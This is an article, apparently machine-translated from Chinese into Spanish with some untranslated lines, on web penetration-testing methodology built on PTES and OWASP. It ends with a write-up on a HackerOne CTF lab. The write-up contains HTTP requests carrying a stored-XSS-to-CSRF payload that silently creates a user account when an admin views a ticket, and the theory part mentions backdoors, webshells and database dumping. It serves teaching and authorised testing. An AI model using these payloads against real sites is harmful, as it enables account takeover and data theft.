Tabla de contenido
Conceptualización de la Metodología de Pruebas de Penetración Web
Ejemplo de prueba de penetración web
Este artículo incluye tres capítulos: introducción de antecedentes, concepción del método de prueba de penetración web y ejemplos de pruebas de penetración web. La introducción de antecedentes explica los dos conceptos de minería de vulnerabilidades y pruebas de penetración. La parte teórica del capítulo, el ejemplo de prueba de penetración web es para demostrar la idea del segundo capítulo con casos reales.
introducción de fondo
Este capítulo presenta principalmente mi comprensión de los dos conceptos de pruebas de penetración y minería de vulnerabilidades.
Por motivos de trabajo, el autor tiene acceso a informes de pruebas de penetración de algunas empresas de seguridad de la Parte B nacionales y extranjeras.
Después de leer muchos informes de pruebas de penetración proporcionados por diferentes compañías de la Parte B, simplemente hablando, probablemente haya varios tipos de
1. 只提供一份测试报告, 报告主体内容是 漏洞列表, 漏洞详情
2. 提供简单的 checklist, 一般是以附录的形式写在测试报告中
3. 提供来测试计划, 以及测试报告
Para la Parte A, que no sabe mucho sobre pruebas de penetración, el objetivo de las pruebas de penetración es encontrar vulnerabilidades, y los tres tipos de informes anteriores no parecen ser muy diferentes.
De hecho, este no es el caso.Para una prueba de penetración organizada, el contenido del informe puede ser muy rico.
Minería de vulnerabilidad
La minería de vulnerabilidades está orientada a la vulnerabilidad, y una gran cantidad de CVE cada año son el resultado de la minería de vulnerabilidades.Por ejemplo, descifrar CTF también es un proceso de minería y utilización de vulnerabilidades. No hay duda de que las capacidades de minería de vulnerabilidades pueden reflejar el nivel de habilidad del personal de seguridad.
Por ejemplo, supongamos que un día xxx SRC publica un anuncio de que ya no se incluyen las vulnerabilidades de riesgo bajo y medio, y solo se aceptan las vulnerabilidades de riesgo alto y superior. Como sombrero blanco, puede omitir vulnerabilidades como la fuerza bruta del nombre de usuario, pero si está realizando pruebas de penetración, no puede ignorar estas vulnerabilidades tan fácilmente.
El tipo de informe de prueba que solo proporciona una lista de vulnerabilidades y detalles se puede adivinar para usar el modo de minería de vulnerabilidades. Este modo será un poco más fácil para la Parte B, después de todo, siempre que haya vulnerabilidades en el informe, puede ser entregado.
pruebas de penetración
Según PTES, las pruebas de penetración consta de dos fases, una es el análisis de vulnerabilidades y la otra es la explotación de vulnerabilidades.
Solemos traducir Vulnerabilidad como vulnerabilidad, de hecho creo que es más adecuado traducir esta palabra como vulnerabilidad.
Las pruebas de penetración se centran más en el proceso y el método, y los resultados de las pruebas son solo el producto del proceso. En general, el objetivo de las pruebas de penetración es localizar todas las vulnerabilidades (Vulnerabilidad) del sistema a través de un método estructurado, y tratar de utilizar estas vulnerabilidades, y finalmente evaluar los posibles riesgos de estas vulnerabilidades para el sistema.
Si la evaluación de vulnerabilidad encuentra un punto vulnerable, se acabó. Sin embargo, si se trata de una prueba de penetración, es necesario explotar aún más estas vulnerabilidades, incluso dejar una puerta trasera, eliminar rastros, etc. Es decir, los dos procesos de Explotación y Post Explotación mencionados en PTES .
Por lo tanto, no se puede pasar por alto ninguna vulnerabilidad dentro del alcance de la prueba, que va desde la transmisión de texto sin formato de información confidencial, la fuerza bruta del nombre de usuario, la fuga de información de ruta, la inyección de SQL, la omisión de autenticación, el acceso no autorizado, etc.
Si el informe de la prueba solo informa vulnerabilidades como XSS que pueden abrir ventanas, solo puede considerarse como el resultado de la evaluación de vulnerabilidades. Si no usa XSS para la explotación real, no puede llamarse una prueba de penetración. Qué es la utilización, como usar ataques xss para robar cookies y luego usar cookies para iniciar sesión en el sistema.
opinión personal
Personalmente, creo que la relación entre las pruebas de penetración y la minería de vulnerabilidades no es una condición suficiente entre sí. Es decir, una persona que entiende los métodos de ingeniería de pruebas de penetración no es necesariamente muy buena para cavar lagunas. Una persona que es buena cavando hoyos puede no ser capaz de hacer un buen trabajo en las pruebas de penetración.
Pero, en general, el umbral para la minería de vulnerabilidades es más alto que el de los métodos de prueba de penetración. Un excelente CTFer debería poder captar rápidamente la esencia de las pruebas de penetración. Por el contrario, una persona que domina la metodología de las pruebas de penetración puede no ser capaz de captar rápidamente las habilidades de minería de vulnerabilidades.
Citando la descripción general de PTES de las pruebas de penetración
Recuerde, una prueba de penetración no debe ser confrontativa. No debería ser una actividad para ver si el probador puede "piratearte". Debería tratarse de identificar el riesgo comercial asociado con un ataque.
Por cierto, me gustaría contarles algo interesante, un amigo del autor ha estado investigando vulnerabilidades en wooyun anteriormente y luego quiso establecer un equipo de penetración de la Parte B para asumir el trabajo de prueba de penetración. Más tarde, se dijo que el Partido A y el Partido A no pudieron llegar a un consenso sobre el tema de la remuneración y se rindieron.
De hecho, estaba pensando que el equipo de la Parte B podría negociar con la Parte A de dos maneras.
Modo 1 El modo de minería de vulnerabilidad tiene un precio por vulnerabilidad, cuánto es grave, alto riesgo, riesgo medio y bajo riesgo respectivamente
Modo 2 Modo de prueba de penetración Desarrolle un plan de prueba de penetración, lista de verificación de salida, informe de vulnerabilidad, informe de modelado de amenazas, etc.
En mi opinión, para el equipo del Partido B, cuanto más trabajo, más paga, la presión será menor. El modo 2 requiere más tiempo y energía, y la tarifa debería ser más cara.
El resultado también es obvio, la industria se inclina más por el modo 1, o establecer SRC por sí misma, recopilar vulnerabilidades y pagar la remuneración correspondiente de acuerdo con el nivel de riesgo de vulnerabilidad. Coopere con grandes plataformas de sombrero blanco y lance pruebas de multitudes en estas plataformas.
El verdadero problema en el modo 2 es cómo puede la Parte A confiar en el equipo de la Parte B, por un lado, si el equipo de la Parte B tiene la capacidad de asumir la tarea de las pruebas de penetración. Por otro lado, cómo garantizar que el equipo de la Parte B no divulgue los datos de la Parte A.
Personalmente, creo que el Modo 2 es más valioso para la Parte B. Muchas pequeñas empresas no tienen suficientes fondos y presupuestos para invertir en mano de obra para la seguridad. Se puede contratar un equipo de seguridad para realizar evaluaciones de riesgos/pruebas de penetración, etc. PTaaS (PenTest as a Service) es bastante bueno en teoría. Similar al modelo de certificado CA, una organización PT (Penetración) neutral sin fines de lucro certifica al equipo de la Parte B. La Parte A confía en la organización de PT, por lo que confía al equipo de la Parte B el certificado de PT emitido por la organización.
Conceptualización de la Metodología de Pruebas de Penetración Web
Este capítulo se basa en la referencia [1] para PTES y la referencia [2] para las pautas de prueba de OWASP, para construir mi método de implementación para pruebas de penetración web
Introducción a PTES
Es posible que algunos lectores no entiendan PTES, aquí daré una breve introducción.
El nombre completo de PTES es estándar de ejecución de pruebas de penetración, que es estándar de ejecución de pruebas de penetración. Esta norma define el proceso y el contenido de las pruebas de penetración, que se divide en siete partes
1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Threat Modeling 威胁建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Post Exploitation 后渗透
7. Reporting 报告
Estas siete partes cubren el proceso completo de prueba de penetración de principio a fin. Se puede decir que este es un conjunto de métodos de prueba de penetración que los profesionales de las pruebas de penetración deben observar. Los lectores interesados pueden consultar la referencia [1]
Web “PTES”
Ajusté PTES adecuadamente para que este estándar se pueda combinar con las pautas de prueba de OWASP y aterricé en el proceso de prueba de penetración.
1. Pre-engagement Interactions 前期交互
2. Intelligence Gathering 信息收集
3. Vulnerability Modeling 漏洞建模
4. Vulnerability Analysis 漏洞分析
5. Exploitation 渗透利用
6. Reporting 报告
El modelado de amenazas puede usar el modelo STRIDE, el árbol de ataque y el modelado de biblioteca de ataque, que son demasiado abstractos para una prueba de penetración "ágil". Así que lo cambié a modelado de vulnerabilidad.
interacción temprana
En el centro de las primeras interacciones se encuentran el alcance y los objetivos. El alcance se refiere al alcance de la cobertura de la prueba, que involucra servidores de activos, nombres de dominio/IP, bases de datos, etc.
En términos de objetivos, PTES también dio una introducción muy clara
Cada prueba de penetración debe estar orientada a objetivos. Es decir, el propósito de la prueba es identificar vulnerabilidades específicas que conducen a un compromiso de los objetivos comerciales o de la misión del cliente. No se trata de encontrar sistemas sin parchear. Se trata de identificar el riesgo que afectará negativamente a la organización.
Por ejemplo, la solicitud de la Parte A es garantizar que la base de datos no se arrastre, o que el servicio web del nombre de dominio xxx no se vea afectado por ataques de denegación de servicio, etc. Como solía decir el maestro, lea el libro con preguntas. Aquí hay una prueba con un objetivo.
El resultado es ordenar el documento del plan de prueba de acuerdo con el alcance de la prueba, el objetivo de la prueba, el tiempo/programa de la prueba, etc.
recoger mensaje
La recopilación de información cubre todos los aspectos de las pruebas de penetración. Cuanta más información se recopile, más fluidas serán las pruebas de penetración. Hay mucho contenido relevante en Internet, así que no lo repetiré aquí.
Modelado de vulnerabilidad
Trate cada ruta HTTP única como una interfaz
Por ejemplo
GET /main/asdf
POST /subproc/fdsa
{xxx=xyz}
PUT /upload/tmpfile
file=fake content
El modelado de vulnerabilidades también toma la ruta web como una dimensión y el tipo de vulnerabilidad web como otra dimensión para establecer una matriz bidimensional.
Luego hay una pregunta, ¿cómo sé si debo escribir "*" antes de comenzar la prueba, como "Desbordamiento de búfer", cómo sé qué interfaces deben marcarse con "/" y cuáles no?
Mi sugerencia es que, si no está seguro de escribir "*", simplemente escriba "*" de forma predeterminada. Después de comprender mejor el sistema, tal vez con su experiencia, pueda ubicar rápidamente dónde necesita escribir "*". "
Finalmente, ordene todos los elementos marcados con "*" en el modelado de segundo nivel y genere la lista de verificación de vulnerabilidades.
Salida: Lista de Verificación de Vulnerabilidad
Análisis de vulnerabilidad
Utilice todo tipo de trucos e ideas para analizar si el resultado de la lista de comprobación de vulnerabilidades del paso anterior realmente tiene vulnerabilidades.
Este proceso difiere del modelado de vulnerabilidades en que es necesario determinar los casos de prueba. Por ejemplo, "POST /subproc/dosth" puede tener vulnerabilidades SQL inj. Los probadores necesitan herramientas manuales/automatizadas para detectar si existen vulnerabilidades reales y clasificar los casos de prueba.
Por ejemplo
POST /subproc/dosth
{xxx=xyz}
penetración
Después de generar la lista de vulnerabilidades, el enlace de análisis de vulnerabilidades termina. Generalmente, la Parte A se detendrá allí y dejará de explotar. Esto también es comprensible, la Parte A solo necesita tener inyección SQL.
Si desea continuar con la explotación, puede usar inyección SQL para obtener la ejecución del shell del sistema, o usar inyección SQL para escribir archivos, obtener Webshell o rastrear bases de datos para encontrar cuentas privilegiadas confidenciales y luego usar cuentas privilegiadas para iniciar sesión en el sistema. etcétera.
¿No es suficiente analizar la vulnerabilidad, por qué usarla?
Depende del escenario específico. Si la Parte A implementa un firewall, WAF, etc. en el producto, la Parte A quiere saber qué daño puede causar incluso si hay una vulnerabilidad de inyección SQL en este entorno. Si WAF puede identificar todos los ataques. Aunque hay lagunas también es seguro. O puede haber múltiples lagunas conectadas en serie para causar un gran daño. Estas son cosas que el análisis de vulnerabilidades no hará. Entonces, esta es la razón esencial por la cual las pruebas de penetración son más costosas que el análisis de vulnerabilidades.
informe de prueba
Sería muy irresponsable generar un informe de prueba de penetración que solo contenga una lista de vulnerabilidades.
Por un lado, puede que esto no sea una prueba de penetración en absoluto, sino, en el mejor de los casos, un informe de análisis de vulnerabilidad.
Por otro lado, es difícil para la Parte A concluir que el producto es seguro o inseguro basándose en el informe que solo tiene una lista de vulnerabilidades.
Una prueba de penetración completa debe generar los siguientes resultados
Salidas: un documento de plan de prueba, una lista de verificación de vulnerabilidades, un caso de prueba que coincida con la lista de verificación y el alcance de la prueba, un informe de prueba que incluye detalles de vulnerabilidad
Ejemplo de prueba de penetración web
Muchas ideas teóricas se han discutido anteriormente. En este capítulo, quiero usar un caso para mostrar el modelado de vulnerabilidades, el análisis de vulnerabilidades y la explotación de vulnerabilidades en el proceso anterior.
Utilice la pregunta 8/9 de CTF de HackerOne como objetivo para realizar una prueba de penetración en el objetivo. Ver referencia [3]
HackerOne es una plataforma de pruebas colectivas muy popular en el extranjero, y si desea ganar dinero encontrando errores en esta plataforma de pruebas colectivas, debe ir al campo de práctica de CTF para responder preguntas y ganar puntos. Solo después de acumular 26 puntos puede obtienes un código de invitación.
Esta vez, la pregunta 8/9 Ticketastic: Demo Instance/Ticketastic: Live Instance se usa como objetivo de prueba para demostrar cómo usar el Web PTES mencionado anteriormente para las pruebas de penetración.
interacción temprana
Alcance de la prueba: http://35.190.155.168/b9b2ddf96c/
Objetivo de prueba: base de datos de usuarios
recoger mensaje
Interfaz: /newTicket, /login, /admin, /ticket, /newUser
Modelado de vulnerabilidad
Según la experiencia, es más probable que ocurran problemas en las direcciones de autenticación, administración de sesiones, autorización y detección de entrada, por lo que esta vez solo prueba estas direcciones
Análisis de vulnerabilidad
Analice y resuelva los problemas de la lista de verificación de vulnerabilidades uno por uno Durante el proceso de solución de problemas, clasifique los casos de prueba
Después de ejecutar los casos de prueba anteriores, genere la lista de vulnerabilidades
penetración
Después de realizar el proceso de análisis de vulnerabilidades, luego de dominar múltiples vulnerabilidades, es necesario explotar estas vulnerabilidades, que pueden ser el uso de una sola vulnerabilidad o una combinación de exploits.
Para lograr el objetivo de prueba "base de datos de usuarios", cree las siguientes ideas de ataque
Inicie sesión en el sistema con credenciales de administrador y use la vulnerabilidad de inyección SQL para arrastrar la base de datos, se encontró el punto de inyección SQL, la clave es cómo obtener las credenciales de administrador
Idea 1: romper la sesión
Idea 2: Robar cookies a través de xss
Idea 3: Agregar cuenta a través de CSRF
Idea 4: Descifrar la contraseña por fuerza bruta
Después de la decodificación base64 de la sesión, la primera parte de la sesión es {"usuario":"admin"}, pero la última parte está confusa y no tiene idea.
El cracking de fuerza bruta también es una mala idea.Después de todo, si no puede salir con un diccionario top10000, no es la dirección para resolver el problema.
Es factible robar cookies a través de xss y agregar cuentas a través de CSRF. Debido a la limitación del entorno CTF de hackerOne, xss no puede robar cookies. Finalmente puedes probar CSRF
Vulnerabilidad 1 newTicket almacenó inyección XSS <img src='newUser?username=pter&password=admin123&password2=admin123'> para que cuando el administrador visite la página del ticket, se active CSRF y se agregue un nuevo usuario con la contraseña admin123
Lo intenté
# payload 1
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="/newUser?username=pter1%26password=admin123%26password2=admin123">
# paylod 2
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://35.190.155.168/b9b2ddf96c/newUser?username=pter1%26password=admin123%26password2=admin123">
Ninguno de ellos tuvo éxito, por lo que no resolví este problema, lo que resultó en que no pude obtener ambos FLAG.
Revisé algunos informes en Internet y descubrí que la siguiente carga útil es factible
POST /b9b2ddf96c/newTicket HTTP/1.1
Host: 35.190.155.168
...
title=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">&body=xx<img src="http://localhost/newUser?username=pter1%26password=admin123%26password2=admin123">
De hecho, este localhost también tiene pistas, es decir, en el entorno de demostración, usando payload1, después de que el administrador inicie sesión, se mostrará en el código fuente. La experiencia de CTF todavía no es suficiente.
Informe
¿Suspiraste en este paso? Después de terminarlo por completo, la carga de trabajo sigue siendo mucha. Desde el modelado de vulnerabilidades hasta el análisis de vulnerabilidades y la explotación de vulnerabilidades, estos procesos toman mucho tiempo.Para la Parte A, el resultado del middleware de estos procesos es información muy valiosa.
los entregables son
1. 测试计划文档
2. 漏洞建模表, 及漏洞 Checklist
3. 测试用例, 漏洞列表
4. 测试报告 也可以把 上述表格/用例整合到测试报告中。但是测试计划建议单独一份文档
Cada uno de los procesos anteriores está fuertemente relacionado con el operador. Diferentes personas generarán diferentes listas de verificación de vulnerabilidades, escribirán diferentes casos de uso y obtendrán diferentes listas de vulnerabilidades durante el proceso de modelado de vulnerabilidades. Por lo tanto, este conjunto de métodos de implementación de pruebas de penetración solo describe cómo se pueden realizar las pruebas de penetración, pero no describe cómo hacerlo bien.
Si quieres hacer un buen trabajo en las pruebas de penetración, la capacidad de descubrir vulnerabilidades es fundamental, y este es también el punto clave de la entrevista. Para practicar la capacidad de minería de vulnerabilidades, puede utilizar los siguientes métodos: participar en pruebas públicas, excavar SRC, excavar CVE, CNVD/CNNVD, ejercicios de objetivos con drones, etc.
Estos son algunos de mis pensamientos personales sobre la ejecución de pruebas de penetración web. Ya casi termina aquí. De hecho, uso este entorno solo para demostrar el proceso de prueba de penetración, no un tutorial de CTF. Así que JUEGO TERMINADO.
Debido al nivel limitado del autor, inevitablemente habrá errores en el artículo. Los lectores pueden criticar y corregir.